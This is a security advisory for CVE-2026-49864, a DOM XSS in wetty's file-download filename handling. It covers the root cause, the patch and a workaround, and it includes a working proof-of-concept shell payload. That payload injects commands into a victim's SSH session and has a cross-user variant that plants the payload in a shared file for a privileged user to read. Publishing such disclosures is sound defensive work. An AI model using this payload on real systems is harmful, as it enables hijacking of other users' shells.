CVE-2026-49864: wetty DOM XSS via File-Download Filename
A crafted terminal escape sequence lets anyone who can write output to a wetty session inject HTML into the browser and silently type arbitrary commands into the victim's SSH shell.
The problem
wetty's file-download feature reads a base64-encoded filename from the escape sequence `\x1b[5i<b64-name>:<b64-content>\x1b[4i` and decodes it with `window.atob`. The decoded string is then placed directly into a Toastify notification rendered with `escapeMarkup: false`, making it a raw HTML sink.
Any output the victim renders in their browser terminal can carry the payload: a `cat`'d file, a tailed log, an SSH MOTD, or a `curl` response. Successful exploitation lets the attacker read the terminal buffer and type arbitrary commands into the victim's live SSH session via `window.wetty_term.input()`.
Proof of concept
A working proof-of-concept for CVE-2026-49864 in wetty, with the exact payload below.
# Run inside the victim's wetty SSH session (or plant in any file the victim cats)
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">>'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"
# Cross-user variant: plant in a shared file, wait for privileged user to cat it
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txtThe root cause is an unsanitized data flow: `window.atob(fileNameBase64)` produces attacker-controlled text, and that text flows straight into a template string passed to `Toastify({ text: ..., escapeMarkup: false })`. No HTML encoding runs between the decode and the DOM insertion, so any HTML characters in the filename become live markup (CWE-79).
The patch introduced a `safeName` helper that replaces `& < > " '` with their HTML entities before the filename is interpolated into the Toastify `text` string. Both uses of `fileName` in the template, the `download` attribute value and the visible link text, are replaced with `safeName`, closing the sink.
The fix
Upgrade `wetty` to version 3.0.4 or later. The fix HTML-escapes the decoded filename before it is inserted into the Toastify markup. If an immediate upgrade is not possible, a short-term workaround is to disable the file-download feature or proxy wetty behind a reverse proxy that strips terminal escape sequences from PTY output.
Related research
- high · 7.5CVE-2026-48815CVE-2026-48815: sigstore certificateOIDs Verification Constraint Silently Dropped
- high · 8.8CVE-2026-49987CVE-2026-49987: repomix Argument Injection via --remote-branch (RCE)
- high · 7.4CVE-2026-49857CVE-2026-49857: auth-fetch-mcp SSRF Protection Bypass via IPv4-mapped IPv6 Loopback
- high · 8.8CVE-2026-49473CVE-2026-49473: @cedar-policy/authorization-for-expressjs Authorization Bypass via Query String